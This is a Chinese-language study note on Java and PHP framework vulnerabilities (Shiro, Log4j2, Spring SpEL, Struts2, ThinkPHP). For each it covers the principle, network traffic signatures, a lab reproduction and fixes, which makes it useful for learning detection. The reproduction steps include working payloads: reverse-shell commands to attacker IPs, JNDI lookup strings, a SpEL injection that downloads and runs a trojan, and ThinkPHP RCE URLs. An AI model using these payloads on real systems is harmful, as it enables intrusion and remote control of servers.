一、框架漏洞之shrio漏洞原理和流量特征
1.1 Shiro-550/Shiro反序列化漏洞CVE-2016-4437
①漏洞原理
Shiro框架用户登录时提供了rememberMe功能，登录时浏览器会增加一个key为rememberMe
的cookie（cookie值是通过序列化、AES加密和Base64编码得到）。后面在执行反序列化操作时
没有进行任何过滤，攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的
Cookie，服务端反序列化时触发漏洞，从而执行命令。影响版本：Shiro <= 1.2.4
服务器端在接收到cookie时，会执行以下步骤来解析和处理：
-
检索rememberMe cookie的值。
-
执行Base64解码。
-
执行AES解密。
-
执行反序列化操作。
由于在第4步中反序列化操作没有进行任何过滤，这可能导致Java反序列化漏洞，从而在目
标机器上执行任意命令。
由于使用AES加密，利用该漏洞需要获取AES的加密密钥，在Shiro1.2.4版本前，AES 加密
密钥是硬编码的，其默认密钥的 Base64 编码值为kPH+bIxk5D2deZiIxcaaaA== 。因此，攻击者可
以构建恶意的payload。
特征总结：返回包中包含rememberMe=deleteMe字段。
或直接发送原数据包，返回的数据中不存在关键字，可以通过在发送数据包的cookie中增加字段：
rememberMe=任意值，然后查看返回数据包中是否存在关键字
②登录失败流量特征
抓包
登录失败流量特征：登录失败，返回包就会返回Set-Cookie:remember=deleteMe
③登录成功流量特征
如果登录成功：就会出现正确的那个 set-Cookie：remember=正确值，是个很长的一串字符，最后
下面还提示登录成功。
④工具爆破shiro的流量特征
先判断该网站是否使用了shiro框架。
直接设置一个Cookie: rememberMe=yes，看返回包有没有Set-Cookie: rememberMe=deleteMe（也
就是登录失败）判断是不是存在shiro框架。
可以看到这里直接设置了一个Cookie：remember=yes 来进行探测。
网站返回 Set-Cookie: remember=deleteMe证明网站存在shiro框架。
⑤爆破密匙成功流量特征
设置Cookie: rememberMe=yes，看看返回包有没有Set-Cookie: rememberMe=deleteMe，判断是不
是存在shiro组件。
然后再设置一个通过秘钥进行加密的序列化字符串，然后通过返回包来判断是不是爆破成功，如果
返回包没有返回Set-Cookie: rememberMe=deleteMe，那就是爆破成功。
抓爆破包：
看返回包：下面这种就是秘钥爆破成功！因为返回包不再出现rememberMe=deleteMe
然后再cookie里瞎添加一个字母，出现Set-Cookie: rememberMe=deleteMe，即秘钥爆破失败。
⑥利益链爆破流量特征
如果在秘钥正确的情况下，进行利用链爆破，就会出现，cookie非常长的情况。如果在研判中发
现cookie非常长，并且返回包状态码为200，那就要考虑网站是否被入侵了！
利用失败的情况下：就会出现Set-Cookie: rememberMe=deleteMe;
⑦执行命令流量
执行命令时流量特征是，rememberme 非常长，且返回值是加密的，但是开头和结尾都带三个$
执行命令whoami
执行命令ls -a
⑧注入内存马的流量特征
进行注入内存马，然后抓包查看流量的特征。
可以看到，注入内存马时cookie值非常长，且数据包体pass参数非常长，也都是加密的数值。
⑨复现利用流程
如下：先构造恶意命令-->然后进行序列化-->AES加密-->Base64编码-->得到cookie发给服务器
为了解决这个问题，官方移除了硬编码的密钥，通过每次仅生成一个新密钥来解决漏洞。不过
攻击者还可以通过搜索引擎等途径收集不同的密钥，从而提高攻击的成功率。
漏洞复现：可以用vulhub靶场进入此漏洞目录-->运行shiro550漏洞的容器-->然后访问站点
勾选Remember Me，随便输入用户名和密码抓包
发送响应请求：添加remember=任意值
响应包出现set-Cookie:rememberMe=deleteMe字段，证明该系统是Shiro框架。
检测漏洞：分三步
1、获取到shiro的AES加密密钥
2、生成恶意的Payload，并通过获取到的AES密钥加密
3、生成cookie，发送Payload来进行检测
添加burp插件：插件BurpShiroPassiveScan（仅提取秘钥）
然后输入用户名和密码抓包shiro的登录页面的包，Burp抓到Shiro数据包时会自动检测，当发
现存在Shiro默认key时会告警。就可以得到shiro的AES密钥。（需要多刷新几次）
使用EXP插件shiro attack：提取秘钥，生成payload，生成cookie，发送payload都能完成
直接输入网址就可以爆破出目标shiro框架的AES密钥。
点击爆破利用链及回显，生成payload
还可以执行指令
还可以通过此工具直接进行漏洞利用来反弹shell
在PCKail2023虚拟机开启nc监听：nc -lvnp 2023
使用工具，点爆破利用链及回显
执行反弹shell指令：bash -c 'exec bash -i &>/dev/tcp/192.168.1.11/2023 <&1'
监听kail主机成功拿到shell
⑩防御shiro漏洞
升级shiro版本
限制cookie长度
不要使用硬编码的key
1.2 Shiro721/Shiro反序列化漏洞CVE-2019-12422
①漏洞原理
Shiro 721用的是AES-CBC加密方式来保护RememberMe功能中的cookie。这种加密方法的密
钥是系统随机生成的，基本上无法猜到。攻击者可以使用登陆后的有效的RememberMe Cookie作为
Padding Oracle Attack 的前缀，然后构造 RememberMe Cookie 来实施反序列化攻击。
影响版本：Shiro < 1.4.2
这里Oracle不是数据库，是一种通过接收特定加密数据，解密并验证填充是否正确的方式。
②与shiro550区别
加密的方式不一样。
Shiro550用的已知默认密钥，只要有足够密钥库（条件较低），不需要Remember Cookie。
Shiro721使用的是AES-CBC加密方式，密钥是系统随机生成的，基本猜不到，可使用登录后
有效的rememberMe值去爆破正确的key值，利用有效的RememberMe Cookie作为Padding Oracle
Attack的前缀，然后构造 RememberMe Cookie 值来实现反序列化漏洞攻击，难度高。
攻击流程：
-
使用任意有效的账户登录目标网站，以获取一个合法的RememberMe Cookie。
-
使用合法的RememberMe Cookie作为POA(Padding Oracle Attack)的前缀生成payload。
-
加密反序列化payload并构造一个恶意的RememberMe Cookie。
-
将构造的恶意payload填充到RememberMe Cookie字段中，并发送给服务器。
必要条件：为进行上述操作，必须先拥有一个合法RememberMe Cookie，需至少成功登录一次。
③复现利用流程
用Vulfocus靶场的shiro-721来复现：
登录靶场搜索shiro-721漏洞并下载-->首页------>启动镜像------>访问指定的网址
访问镜像信息上的网址：漏洞环境启动成功
开始复现漏洞（复现极其麻烦，看一遍过程即可）
shiro721也可以使用shiro attack 2.2工具，速度快，推荐使用这个。
使用给到的一个正确账号和密码(勾选Remember Me)来登录抓包，获取合法cookie。
登录抓包
如果登录认证失败，只能得到 rememberMe=deleteMe这个cookie。
响应回来看到remeberMe=dkE.....这是正确的cookie，一会要用到它。
成功获取了合法cookie信息然后丢弃------取消拦截
使用Java反序列化工具ysoserial生成 Payload.class类：
获取一个DNSlog网址来添加到payload里执行：50wp58.dnslog.cn
用Kail虚拟机使用ysoserial.jar工具-->执行指令生成payload：生成一个payload.class类
这里用了一个dnslog.cn来看一下指令执行效果
再通过Padding Oracle Attack生成 Evil Rememberme cookie：
需要使用暴破AES密钥的脚本：Shiro-exp
注意：此exp爆破时间较长，约 1 个多小时可生成正确的rememberme cookie信息。
使用Shiro-exp爆破密匙：此指令要执行一个多小时，不推荐使用。
构造恶意Evil Rememberme cookie认证进行反序列化攻击-->DNSlog接收到记录。
④流量特征
rememberme字段长度异常
请求包Cookie的rememberMe中会存在AES+base64加密的一串java反序列化代码。
返回包中存在base64加密数据，该数据可作为攻击成功的判定条件。
1.3 Shiro认证绕过漏洞（CVE-2020-1957）
①漏洞原理
漏洞的原理主要涉及Shiro对客户端请求URL路径的处理方式。在Apache Shiro 1.5.2版本
之前，如果shiro框架用Spring动态控制器，因为shiro对URL的处理和SpringBoot对URL的处
理方式有所不同，导致攻击者可以构造..;来制造跳转，然后绕过Shiro中对目录限制。
Shiro处理URL：
Shiro会截断URI，清除分号及其后的所有内容，只返回分号前的URI
SpringBoot处理URL：
Spring会先找到分号位置，检查分号后有没有/，有就记录/位置，并将分号前的数据与/后的
数据拼接，最后返回处理后的requestURI。
由于Spring和Shiro在 decodeAndCleanUriString 方法上的处理方式不同，攻击者可以利用
分号来构造路径，绕过Shiro的认证，并能够匹配到Spring的动态控制器。
②漏洞产生流程
在使用了shiro框架时，是请求的URL(URL1),经过shiro权限检验(URL2),最后到springboot
项目找到路由来处理(URL3)，漏洞的出现就在URL1,URL2和URL3、有可能不是同一个URL，就导致
能绕过shiro的校验，直接访问后端需要首选的URL。
③URL配置
Shiro框架通过使用anon和authc等拦截器来控制用户的访问权限。
anon拦截器允许匿名访问，常用于静态资源。authc拦截器则要求用户登录后才能访问。
URL路径表达式通常采用ANT格式。
以下是一个示例配置，展示了如何配置URL权限：
@Bean
public ShiroFilterChainDefinition shiroFilterChainDefinition() {
DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition();
chainDefinition.addPathDefinition("/login.html", "authc");
chainDefinition.addPathDefinition("/logout", "logout");
chainDefinition.addPathDefinition("/admin/**", "authc");
return chainDefinition;
}
Ant格式解释如下：
? 匹配一个字符；
* 匹配零个或多个字符； 例如 `/user/test`字符
** 匹配路径中的零个或多个路径。 例如 `/user/test/`路径
④漏洞产生流程分析
以http://localhost:8080/xxxx/..;/admin/index为例，一步步分析整个流程的请求过程
1、首先客户端请求URL如下：http://localhost:8080/xxxx/..;/admin/index
2、然后URL会传入到shiro框架：
程序进入到shiro的decodeAndCleanUriString方法，截断分号后面所有的请求，返回一个新
的URL：http://localhost:8080/xxxx/..
然后调用normalize()对decodeAndCleanUriString()处理得到的路径进行标准化处理，处理方
法包括：替换反斜线 替换 // 为 / 替换 /./ 为 / 替换 /../ 为 /
然后经过getPathWithinApplication()函数的处理，最终shiro要校验的URL就是/xxxx/..。
最终进入org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver中getChain()
方法会URL校验.
由于 /xxxx/..并不会匹配到/admin/**，所以shiro权限校验就会通过。
3、最后原始请求/xxxx/..;/admin/index会进入到springboot里：
springboot对每个进入的request请求进行处理，找到自己所对应的mapping。具体匹配方式
在:org.springframework.web.util.UrlPathHelper中的getPathWithinServletMapping()
getPathWithinServletMapping()在一般情况下返回的就是servletPath，所以本次返回的就
是/admin/index。最终到/admin/index对应的requestMapping，就成功地访问了后台请求。
例如：如果URL请求是 /xxx/..;/admin/，
Shiro内部处理后会得到校验URL为 /xxx/..，并校验通过。
然后SpringBoot处理 /xxx/..;/admin/，最终请求 /admin/，从而成功访问后台。
⑤漏洞复现
使用vulhub提供的靶场环境，访问网址看效果：
刷新一下页面抓包：
后修改数据包直接请求管理页面 /admin/ ，发现无法访问，将会被重定向到登录页面：
构造恶意请求 /xxx/..;/admin/ ，即可绕过权限校验，访问到管理页面：
浏览器上访问试试：192.168.1.9:8080/xxx/..;/admin/
看到了登录成功之后的管理界面：漏洞复现成功
⑥漏洞防御
下载最新版的Apache shiro就行
⑦流量特征
看URL路径中的异常符号：请求里有没有.号或者;符号之类的异常符号。
二、Apache log4j2 JNDI注入漏洞原理，特征，如何判断攻击成功？
该漏洞的CVE编号：CVE-2021-44228和CNVD-2021-95919
2.1 Log4j2简介
①log4j和log4j2
log4j是 Apache 的一个开源日志库，是一个基于 Java 的日志记录框架。
log4j2是log4j 的后继者，其中引入了大量丰富的特性，可以控制日志信息输送的目的地为
控制台、文件、GUI 组建等，被应用于业务系统开发，用于记录程序输入输出日志信息，log4j2 中
存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞，成功利用该漏洞可在目标
服务器上执行任意代码。
②什么是JNDI
JNDI是Java Naming and Directory Interface的缩写，是Java中用于访问各种命名和目录
服务的API（应用程序编程接口）。JNDI提供了一种标准的方式来访问各种命名和目录服务，从指
定的远程服务器获取并加载对象，其中常用的协议包括 RMI（远程方法调用）和 LDAP（轻量目录
访问协议）
2.2 漏洞原理
受此影响应用程序和组件：
spring-boot-strater-log4j2、Apache Solr、Apache Flink和Apache Druid等。
①原理
Apache Log4j是个基于Java的日志记录工具，漏洞是因为Log4j2组件中lookup功能的实现
类JndiLookup的设计缺陷导致，这个类存在于log4j-corexxx.jar中
该漏洞主要是由于日志在打印时当遇到${后，以:号作分割，将表达式内容分割成两部分，前
面一部分prefix，后面部分作为key，然后通过prefix找对应的lookup，通过对应的lookup 实
例调用lookup方法，最后将key作为参数带入执行，引发远程代码执行漏洞。
核心原理为，在正常的log处理过程中对**${**这两个紧邻的字符做了检测，一旦匹配到类似
于表达式结构的字符串就会触发替换机制，将表达式的内容替换为表达式解析后的内容，而不是表
达式本身，从而导致攻击者构造符合要求的表达式供系统执行。
日志在打印时当遇到${后，Interpolator类以:号作为分割，将表达式内容分割成两部分，前
面部分作为 prefix，后面部分作为 key。然后通过prefix去找对应的 lookup，通过对应的lookup
实例调用lookup方法，最后将key作为参数带入执行。
②详细过程分析
log4j2 框架下的 lookup 查询服务提供了${}字段解析功能，传进去的值会被直接解析。
当用户输入信息时，应用程序中的 log4j2 组件会将信息记录到日志中，假设日志中含有语句
${jndi:ldap:192.168.249.1:9001/poc.class}，log4j2就会去解析该信息，通过JNDI的lookup()
方法解析URL：ldap:192.168.249.1:9001/poc.class，解析到ldap，就会去 192.168.61.129:9001
的ldap服务找名为poc.class的资源，如果找不到则会去http服务中找，只要在ldap或者http
中找到poc.class ，就会将资源信息返回到JNDI接口，进而返回给应用程序的log4j2 组件，而
log4j2组件会将其下载下来，然后发现poc.class是个.class文件，就会去执行里面的代码，从
而实现注入，我们就可以通过 poc.class 实现任意命令的执行。
受影响版本范围：2.0 ≤ Apache Log4j2 < 2.15.0-rc2
2.3Log4j2流量特征
①恶意请求中包含 JNDI 协议地址
攻击者通常会在HTTP请求或其他网络流量中插入包含JNDI协议地址的字符串，如"ldap://"、
"rmi://"等。这些字符串会被log4j2解析为JNDI查找，从而导致远程代码执行。
具体特征：包含形如如下的输入即可：${jndi:ldap://host:port/object}
②日志记录消息中包含可执行代码
攻击者构造的恶意日志记录消息可能包含可执行的Java代码，如 JNDI 注入 payload 。这些
代码会被 log4j2 解析和执行，从而触发远程代码执行漏洞。
③异常堆栈中出现与JNDI相关的类或方法
在应用程序的异常堆栈中，可能会出现与JNDI相关的类或方法，
如javax.naming.directory.InitialDirContext 等。
这表明攻击者已经成功地利用了 log4j2 漏洞，执行了远程代码并导致异常。
④大量的异常日志记录：
攻击者可能会尝试多次利用 log4j2 漏洞，因此在日志中可能会出现大量的异常日志记录。这
些异常日志记录通常会包含与 JNDI 相关的内容，如 JNDI 协议地址或异常堆栈信息。
2.4如何判断攻击成功？
1、检查日志有没有攻击痕迹，具体看形如${jndi:ldap://host:port/object}的日志输出。
2、检查网络流量：若出现异常LDAP请求到未知的、可疑的或恶意的服务器，可能遭受了攻击。
3、服务器表现出异常行为，比如CPU、内存占用率异常增高，或者服务崩溃等。
2.5Log4j2漏洞修复
①升级log4j2组件到新的安全版本
及时升级 log4j2 到最新的安全版本，以修复已知的漏洞并增强系统的安全性。
②移除或替换含漏洞的代码文件
不升级的话就删除或替换JndiLookup类文件，此文件包含了有漏洞的代码。
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
③设置系统属性log4j2.formatMsgNoLookups=True
这个设置将禁用 log4j2 中的消息查找（Lookups），这样可以防止恶意代码利用 JNDI 注入
漏洞。通过设置此选项，log4j2 将不会解析消息中的变量或执行 JNDI 查找。
④对包含特定字符串的请求进行拦截
监测应用程序的日志，如果发现其中包含"jndi:ldap://"、"jndi:rmi://"等可疑字符串，可
以使用WAF（Web应用程序防火墙）或 IDS（入侵检测系统）等工具来拦截这些请求，限制或者监
控LDAP流量，从而阻止潜在的攻击。
2.6漏洞复现
①首先拉取靶场的最新镜像（需先装好 docker）
指令：docker pull vulfocus/log4j2-rce-2021-12-09:latest
②开启容器
指令：docker run -d -p 9001:8080 vulfocus/log4j2-rce-2021-12-09:latest
这里我是将靶场环境的 8080 端口映射到了本地的 9001（找一个未被占用的端口即可）
因为 8080 端口是靶场默认所在的位置，后面的 9001 为一个自定义的本地端口号
启用成功后，使用 docker ps 查看运行的容器
接下来我们直接访问本地的 9001 端口即可看到靶场环境
2.7漏洞验证
首先使用 DNSLog平台获取一个子域名
点Get SubDomin ------获取子域名：7fprj5.dnslog.cn
使用该子域名，我们构造 payload：${jndi:ldap://7fprj5.dnslog.cn}
点击靶场的 ?????
发现请求了文件hello，并且给参数 payload 传入了值 111
替换 payload 值为我们刚才构造的 payload，即：
[http://127.0.0.1:9001/hello?payload=${jndi:ldap://7fprj5.dnslog.cn}](http://127.0.0.1:9001/hello?payload=${jndi:ldap:/7fprj5.dnslog.cn} "http://127.0.0.1:9001/hello?payload=${jndi:ldap://7fprj5.dnslog.cn}")
发送请求失败
因为是 get 请求，很可能是对我们传入的内容进行了 URL 解码
因此我们先对 payload 进行 URL 编码后再传入：
${jndi:ldap://7fprj5.dnslog.cn}
URL 编码后为：
%24%7Bjndi%3Aldap%3A%2F%2F7fprj5.dnslog.cn%7D
请求：
http://127.0.0.1:9001/hello?payload=%24{jndi%3Aldap%3A%2F%2F7fprj5.dnslog.cn}
回显 ok
回到 DNSLog 平台，点击 Refresh Record 刷新记录
可以看到 DNSLog 平台成功接收到解析记录
接下来我们构造 payload 尝试获取 Java 版本：
{jndi:ldap://{sys:java.version}.7fprj5.dnslog.cn}
编码：
%24%7Bjndi%3Aldap%3A%2F%2F%24%7Bsys%3Ajava.version%7D.7fprj5.dnslog.cn%7D
传入 payload，回显 ok
再次刷新记录，可以得出 sys:java.version 命令被执行了
成功获取到 Java 版本号为 1.8.0_312，证明确实存在 log4j2 远程代码执行漏洞
2.8漏洞利用
为方便后续测试，这里再开一台kali（192.168.249.132）作靶机，按前面的环境搭建步骤再搭建
一个靶场环境，而JNDI 注入工具装在另一台kali（192.168.249.128）上作为攻击机。
搭建好后测试一下，可以正常访问到
①JNDI 注入工具安装
首先安装 JNDI 注入工具：JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
指令：git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
切换到 JNDI-Injection-Exploit 目录
指令：cd JNDI-Injection-Exploit
编译安装，在该目录下执行如下命令
指令：mvn clean package -DskipTests
编译安装完成后，我们会得到一个 jar 文件
位置在/root/JNDI-Injection-Exploit/target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
在运行结果的最后有给出：
切换进入到 target 目录：cd target
②工具用法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "命令" -A "攻击机ip"
③服务站点部署
反弹 shell 到目标主机端口，这里以 7777 端口为例
bash -i >& /dev/tcp/192.168.249.128/7777 0>&1
对命令进行 base64 编码 （命令必须经过编码，不然无法实现）
得到：bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0OS4xMjgvNzc3NyAwPiYx}|
{base64,-d}|{bash,-i}
将想要执行的命令替换成我们得到的 payload，以及填上我们的攻击机ip
利用 JNDI 注入工具把这个反弹 shell 命令部署到 LDAP 服务上
在 target 目录下，执行如下命令：
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
-C "bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0OS4xMjgvNzc3NyAwPiYx}|{base64,-d}|
{bash,-i}" -A "192.168.249.128"
这样我们就部署好了 RMI 和 LDAP 服务的站点，并且得到了 payload 路径
④开启监听
再开一个终端，监听我们对应的端口（我这里的 payload 里为 7777）
nc -lvvp 7777
⑤反弹shell
使用上述给出的 payload 路径构造完整 payload
比如：
${jndi:ldap://192.168.249.128:1389/h8sgrk}
${jndi:rmi://192.168.249.128:1099/c2kspf}
我们可以针对不同版本和不同情况使用不同的服务和不同的 payload
同样这里需要对 payload 进行 URL 编码后再传入
JNDI 注入工具的终端显示如下
查看刚才监听的端口：
已经建立连接，反弹 shell 成功，我们便可以执行想要执行的命令了
三、Java Spring****框架漏洞
3.1Spring与SpEL介绍
①Spring介绍
Spring框架指的是SpringFramework，是种轻量级开发框架，旨在提高开发效率及系统的可维
护性。Spring是很多模块的集合，主要包括八方面：核心技术，测试，数据访问，web应用，web
响应，集成，语言及附录，常用核心功能包括IOC，AOP及MVC。Spring 3.0后引入了SpEL。
②SpEL介绍
SpEL是基于spring的一个表达式语言，能够在运行时动态执行一些运算甚至一些指令。
就使用方法上来看，一共分为三类，分别是直接在注解中使用，在XML文件中使用和直接在代
码块中使用。
③SpEL原理
1.表达式：可以认为就是传入的字符串内容
2.解析器：将字符串解析为表达式内容
3.上下文：表达式对象执行的环境
4.根对象和活动上下文对象：根对象是默认的活动上下文对象，活动上下文对象表示了当前表达式
操作的对象Spring框架特征。
3.2Spring框架特征
①Web应用程序ico小图标是个绿叶子 
②看报错页面
如果默认报错页面没有修复，那就是长这样
③用wappalyzer插件识别 
④浏览器f12看X-Application-Context头 
3.3 Spring_Messaging远程命令执行漏洞(CVE-2018-1270)
①漏洞原理
Spring框架中通过消息传递模(spring-messaging)来实现它的简单消息协议STOMP (STOMP是
一种封装WebSocket的简单消息协议)。攻击者可以通过建立WebSocket连接并发送一条消息造成
远程代码执行。
原理详解：
在Spring Framework的低版本中，spring-messaging模块为框架提供了消息传递支持，其上
层协议使用STOMP，底层通信依赖于SockJS。STOMP消息代理在处理客户端消息时存在一个安全漏
洞，即SpEL（Spring Expression Language）表达式注入。在spring-messaging中，客户端可以
订阅消息，并通过使用selector来过滤消息。这些selector是用SpEL表达式编写的，并且在解
析时用了StandardEvaluationContext类，这可能导致远程代码执行攻击，因为恶意用户可以通过
发送包含特制SpEL表达式的消息来执行未授权的命令。
使用Spring Security项目中的权限认证，可以在一定程度上增加漏洞利用难度。
影响版本：Spring Framework 5.0到5.0.4、Spring框架4.3到4.3.15、不支持的旧版本。
②漏洞复现
打开vulhub上对应的漏洞容器------访问网址
直接使用exp利用工具
该漏洞是在订阅时插入SpEL表达式，对方向此订阅发送消息时才会触发。
所以需在漏洞 exploit.py 文件里指定对应信息：地址改为目标IP地址。
Vps的IP和端口指向监听主机的IP和端口
开启监听：nc -lvvp 1122 然后执行exp工具
反弹shell成功：目标对应目录创建文件成功
③漏洞预防
使用Spring Security项目中的权限认证，可以在一定程度上增加漏洞利用难度。
升级版本。
3.4 SpringDataCommons远程命令执行漏洞(CVE-2018-1273)
①漏洞原理
Spring Data 是Spring框架中提供底层数据访问的项目模块，Spring Data Commons 是一个
共用的基础模块。此模块对特殊属性处理时会使用SpEl表达式，导致攻击者可以通过构造特殊的
URL请求，造成服务端远程代码执行。
在2.0.5及以前版本中，存在一处SpEL表达式注入漏洞，攻击者可以注入恶意SpEL表达式以
执行任意命令。
Spring在补丁中用更安全的SimpleEvaluationContext替换了StandardEvaluationContext。
②漏洞复现------执行命令
打开vulhub上对应的漏洞容器------访问网址
访问用户注册页面，随便点击一个分页面抓包
替换整个数据包：注意将IP地址改对------然后发送数据包------即可执行容易命令
③漏洞复现------植入后门
先使用kail生成木马文件：生成方法查看csdn收藏，木马文件含有攻击机IP和监听机IP地址。
生成了payload.eif木马文件，想办法在目标主机执行下载指令，下载此木马。
开启http服务将kali中的8000端口映射出去：python3 -m http.server 8000
通过漏洞注入下载木马的指令：
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().
getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('下载命令')")]=asdf
**下载后面的指令：**对kali机中的后门进行下载
下载命令：wget 192.168.159.134:8000/payload.elf
抓包替换指令
抓包替换，给文件加权限
MSF中开启4444端口监听，即木马中的4444端口
抓包，注入数据包，执行木马文件：
成功getshell
3.5 Spring Cloud Gateway RCE注入漏洞(CVE-2022-22947)
①漏洞原理
Spring Cloud Gateway提供了一个用于在Spring WebFlux上构建API Gateway的库。
低版本Spring框架启用和暴露Gateway Actuator端点时，使用Spring Cloud Gateway的应
用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求，从而远程执行任意代码。
②漏洞复现
打开vulhub上对应的漏洞容器：启动Spring Cloud Gateway服务
查看端口：docker-compose ps
查看IP地址：
访问网址
抓取网站数据包，替换为vulhub网站上给的指定数据包，这里一步一步分析。
首先，修改GET /actuator请求，确定actuator端口已经开启
修改get请求，获取路由信息GET /actuator/gateway/routes/
当前只有路由index,该路有默认跳转到uri:http://example.com:80
最后构造post请求包，POST /actuator/gateway/routes/hackest
添加一个包含恶意SpEL表达式的路由：记得替换IP
在vulhub网站上有给指定数据包
发送新的数据包刷新网关：vulhub上有指定数据包
检索结果：数据包还是在Vuihub上
发送 DELETE 请求以删除邪恶路由器：数据包还是在Vuihub上
最后在刷新网关：数据包还是在Vuihub上
③原理分析
根据上面的演示，我们会产生这样的一个问题，为什么添加过滤器（路由）会导致代码执行？
我们一步步进行分析：
我们在vulhub里面开启了actuator功能。
上面第一步我们也检测了actuator端口是否打开。
打开后就可以利用此接口，如用/actuator/gateway/routes列出路由，里面就有默认的路由器。
然后通过/gateway/routes/{id_route_to_create}来添加一个路由。
再通过/actuator/gateway/refresh刷新路由。
当路由带有恶意的Filter，里面的spEL表达式就会被执行。
④漏洞修复
升级Spring Cloud Gateway版本
若无需Gateway actuator endpoint可通过management.endpoint.gateway.enabled:false禁用它。
3.6 Spring Cloud Function SePL远程代码执行漏洞（CVE-2022-22963）
SpringCould简介：
SpringCloud 是一套分布式系统的解决方案,实现就是函数式编程，在视频转码、音视频转换、
数据仓库ETL等与状态相关度低的领域运用的比较多。开发者无需关注服务器环境运维等问题上，
专注于自身业务逻辑实现即可。
①漏洞原理
在Spring Cloud Function早期版本中，使用路由功能时，用户可以提供特制的SpEL作为路
由表达式，这可能导致远程执行代码和访问本地资源。
影响版本：
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
②漏洞复现之反弹shell
打开vulhub上对应的漏洞容器
访问靶场环境（是一个报错页面）
访问此报错页面抓包
改数据包：
修改请求方式：POST /functionRouter HTTP/1.1
添加请求体内容：spring.cloud.function.routing-expression: T(java.lang.Runtime)
.getRuntime().exec("反弹shell指令")
反弹shell指令：bash -c {echo,xxx}|{base64,-d}|{bash,-i}
xxx为反弹shell指令：bash -i >& /dev/tcp/192.168.16.129/1234 0>&1
反弹shell指令base64加密：如下图
反弹shell成功
也可发送vulhub上指定数据包来创建success文件夹
③流量请求特征
可以看到POST /functionRouter HTTP/1.1以及如下
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("")
四、Struts2框架漏洞
4.1structs2框架特征
检查URL后缀：
URL会以.do或.action结尾。注意Spring Web MVC等框架也可以用这样的后缀定义接口。
有很多网站都是struts2开发，比如顺丰快递、土豆、德邦快递、蒙牛管理平台等。
示例：http://192.168.1.9/s2/showcase.action
4.2 区分structs2框架和Spring MVC框架
测试特定参数：
URL中追加actionErrors参数。如果是Struts2开发，并且存在错误处理配置，可能会触发
一个错误响应，而Spring MVC通常不会因为这个参数而产生错误。
观察URL访问行为：
对于S2应用，访问user.do/和user.do可能会产生不同的结果，
而在Spring MVC中，两者访问结果可能相同。
4.3S2-045远程代码执行漏洞
①S2-045原理：
S2 默认用OGNL表达式处理用户输入，可以构造恶意OGNL表达式，导致服务器执行任意Java
代码，引发远程代码执行（RCE）攻击。
原理详解：S2使用OGNL表达式处理view层数据字符串到 controller层的转换，即将输入的数据
字符串转换成Java对象。如果是构造的恶意OGNL表达式，会导致远程代码执行。
②漏洞检测
手工检测
1、首先做信息收集，确定网站是 struts2 开发的站点
2、随便上传文件抓包，把payload替换到content-type上（payload里加入一些数学计算）
4、看到响应数据的响应头出现计算结果，证明这有漏洞。
5、漏洞利用：可以嵌入可执行程序来进行攻击。
6、或者用特殊payload替换content-type内容获取用户信息。
工具检测：
用k8工具进行探测，目前只能利用低版本漏洞。可以获取用户信息、物理路径、版本信息等。
直接在工具输入目标URL后------获取信息、执行命令
用Struts2漏洞检查工具2018版，直接将网站首页路径给工具，检测是否存在漏洞，还可以
通过工具进行各种利用，进行命令执行、文件上传等。
③S2-045漏洞复现
1、访问此站点，手工抓包或用工具检测漏洞是否存在，主要是根据响应结果来判断。
手工的方式：抓包修改数据包，添加攻击payload看响应结果。
工具的方式：直接用别人写好的poc来进行漏洞检测。
④S2-045漏洞修复
1、修复方式：升级Apache Struts版本至 2.3.32 或 2.5.10.1以上。
2、修复建议：在网络防护设备上配置过滤
4.3S2-048漏洞攻击还原
1、在windows上的终端窗口运行Struts048漏洞exp
2、输入指令指令：python2 Struts048.py 跟URL地址 "指令"
五、ThinkPHP框架漏洞
ThinkPHP版本很多，主要是ThinkPHP5和ThinkPHP6。
5.1 ThinkPHP网站特征
查看HTML源码，可能会发现{$}, {:}, {foreach}等ThinkPHP特有的模板语法标签。
页面发生错误时显示默认的错误信息页面，通常包含ThinkPHP的logo和错误信息。
后端控制器操作中会看到类似{controller}/{action}的命名规则。
5.2 ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
①漏洞原理
ThinkPHP 5版本里的那个处理控制器名没有配置正确，所以在网站没有开启强制路由的情况
下(即默认情况下)可以执行任意方法，从而导致远程命令执行漏洞。
②漏洞复现
访问站点默认启动页面，即可看到ThinkPHP默认启动页面
直接将URL添加到如下Payload里访问
执行phpinfo：
http://192.168.1.9:8080/index.php?s=/Index/\think\app/invokefunction&function=
call_user_func_array&vars0=phpinfo&vars1\[\]=-1
执行任意代码
http://192.168.135.132:8080/index.php?s=/Index/\\think\\app/invokefunction\&function=
call_user_func_array&vars0=shell_exec&vars1\[\]=id
5.3 ThinkPHP5 5.0.23 远程代码执行漏洞
①漏洞原理
ThinkPHP5.0.23 以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以
调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。
②漏洞复现
访问页面抓包
改包添加请求体
_method=__construct&filter\[\]=system&method=get&serverREQUEST_METHOD=指令
使用火狐hackbar插件利用
或者bp抓包------改post请求包（数据包样式在漏洞说明里有）
在数据包请求体改为想要的指令------发送数据包即可
③反弹shell
开启监听
请求体指令部分访问此文件并执行文件
监听主机接受反弹shell成功
5.4 ThinkPHP6.0.13 多语言本地文件包含漏洞
①原理
ThinkPHP 6.0.13版本以前开启多语言特性时，可以用lang参数来包含任意PHP文件。不过
只能包含本地PHP文件，如果还开启register_argc_argv且安装了pcel/pear的环境下，可以包
含/usr/local/lib/php/pearcmd.php并写入任意文件。
②漏洞复现
访问页面抓包
